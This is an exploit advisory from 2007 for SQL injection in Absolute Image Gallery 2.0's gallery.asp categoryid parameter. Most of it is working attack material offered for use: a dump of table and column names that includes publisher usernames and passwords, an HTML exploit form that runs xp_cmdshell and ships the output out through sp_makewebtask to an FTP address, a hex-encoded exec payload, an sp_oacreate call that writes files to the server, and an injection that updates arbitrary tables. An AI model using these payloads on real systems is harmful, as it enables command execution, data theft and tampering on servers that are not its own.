Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16364
HistoryMar 16, 2007 - 12:00 a.m.

Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit

2007-03-1600:00:00
vulners.com
368

Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-15}

Product / Vendor :

Absolute Image Gallery

http://www.xigla.com/absoluteig/

Bug :

http://localhost/script/gallery.asp?action=viewimage&categoryid=-SQL Inj-


Script Table/Colon Name :


Table Name : articlefiles

fileid
filetitle
filename
articleid
filetype
filecomment
urlfile


Table Name : articles

articleid
posted
lastupdate
headline
headlinedate
startdate
enddate
source
summary
articleurl
article
status
autoformat
publisherid
clicks
editor
relatedid


Table Name : iArticlesZones

articleid
zoneid


Table Name : plugins

pluginid
pplname
pplfile
ppldescription


Table Name : PPL1reviews

reviewid
articleid
name
reviewdate
review
comments
isannonymous


Table Name : publishers

publisherid
name
username
password
email
additional
plevel


Table Name : publisherszones

publisherid
zoneid


Table Name : xlaAIGcategories

categoryid
catname
catdesc
supercatid
lastupdate
catpath
images
allowupload


Table Name : xlaAIGimages

imageid
imagename
imagedesc
imagefile
imagedate
imagesize
totalrating
totalreviews
hits
categoryid
status
uploadedby
additionalinfo
embedhtml
keywords
copyright
credit
source
datecreated
email
infourl


Table Name : xlaAIGpostcards

dateposted
postcardid
imageid
bgcolor
bordercolor
fonttype
fontcolor
recipientname
recipientemail
greeting
bgsound
sendername
senderemail
sendermsg


Table Name : zones

zonename
description
template
articlespz
zonefont
fontsize
fontcolor
showsource
showsummary
showdates
showtn
textalign
displayhoriz
cellcolor
targetframe


MSSQL CMD Injection Exploit(For DBO Users) :

<title>Absolute Image Gallery MSSQL CMD Injection Exploit</title>
<body bgcolor="#000000">
<form name="Form" method="get" action="http://localhost/script/gallery.asp&quot;&gt;
<center><font face="Verdana" size="2" color="#FF0000"><b>Absolute Image Gallery MSSQL CMD Injection Exploit</b></font><br><br></center>
<center><font face="Verdana" size="1" color="#00FF00"><b>Note : For DBO Users</b></font><br><br></center>
<center><font face="Verdana" size="1" color="#00FF00"><b>Example :</b></font><br><br></center>
<tr>
<center><img src="http://img382.imageshack.us/img382/7867/dirav8.jpg&quot;&gt;&lt;/center&gt;&lt;br&gt;
<center><td align="right"><font face="Arial" size="1" color="#00FF00">Command Exec :</td>
<td>&nbsp;</td>
<td><input name="action=viewimage&categoryid=-1" type="text" value=";exec master…xp_cmdshell 'dir c:\ > cmd.txt';CREATE TABLE cmd (txt varchar(8000));BULK INSERT cmd FROM 'cmd.txt';exec+sp_makewebtask+'ftp://127.0.0.1/public/file.txt&#39;,&#39;select+*+from+cmd&#39;;--&quot; class="inputbox" style="color: #000000" style="width:300px; "></td>
</tr>
<tr>
<td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
<td>&nbsp;</td>
<td>
<select name="">
<option value="0">(CMD)</option>
</select>&nbsp;<br><br>
<input type="submit" value="Apply"></center>
</td>
</tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>[email protected]</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>


Code Injection(For DBO Users) :

Add Table : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;Create+table+code+&#40;txt+varchar&#40;8000&#41;,id+int&#41;;--

ASCII Code Add Database : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;declare+@q+varchar&#40;8000&#41;+select+@q=0x696E7365727420696E746F2066736F373737287478742C6964292076616C7565732827272C3129+exec&#40;@q&#41;;--

Code Injection : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;declare+@txt+varchar&#40;8000&#41;;select+@txt+=+&#40;select+top+1+txt+from+code+where+id+=+1&#41;;declare+@o+int,+@f+int,+@t+int,+@ret+int+exec+sp_oacreate+&#39;scripting.filesystemobject&#39;,+@o+out+exec+sp_oamethod+@o,+&#39;createtextfile&#39;,+@f+out,+&#39;c:/host&#39;,+1+exec+@ret+=+sp_oamethod+@f,+&#39;writeline&#39;,+NULL,+@txt;--


UPDATE(ALL users) :

http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1 UPDATE table SET colon = 'x';–


Tested :

Absolute Image Gallery 2.0

Vulnerable :

Absolute Image Gallery 2.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org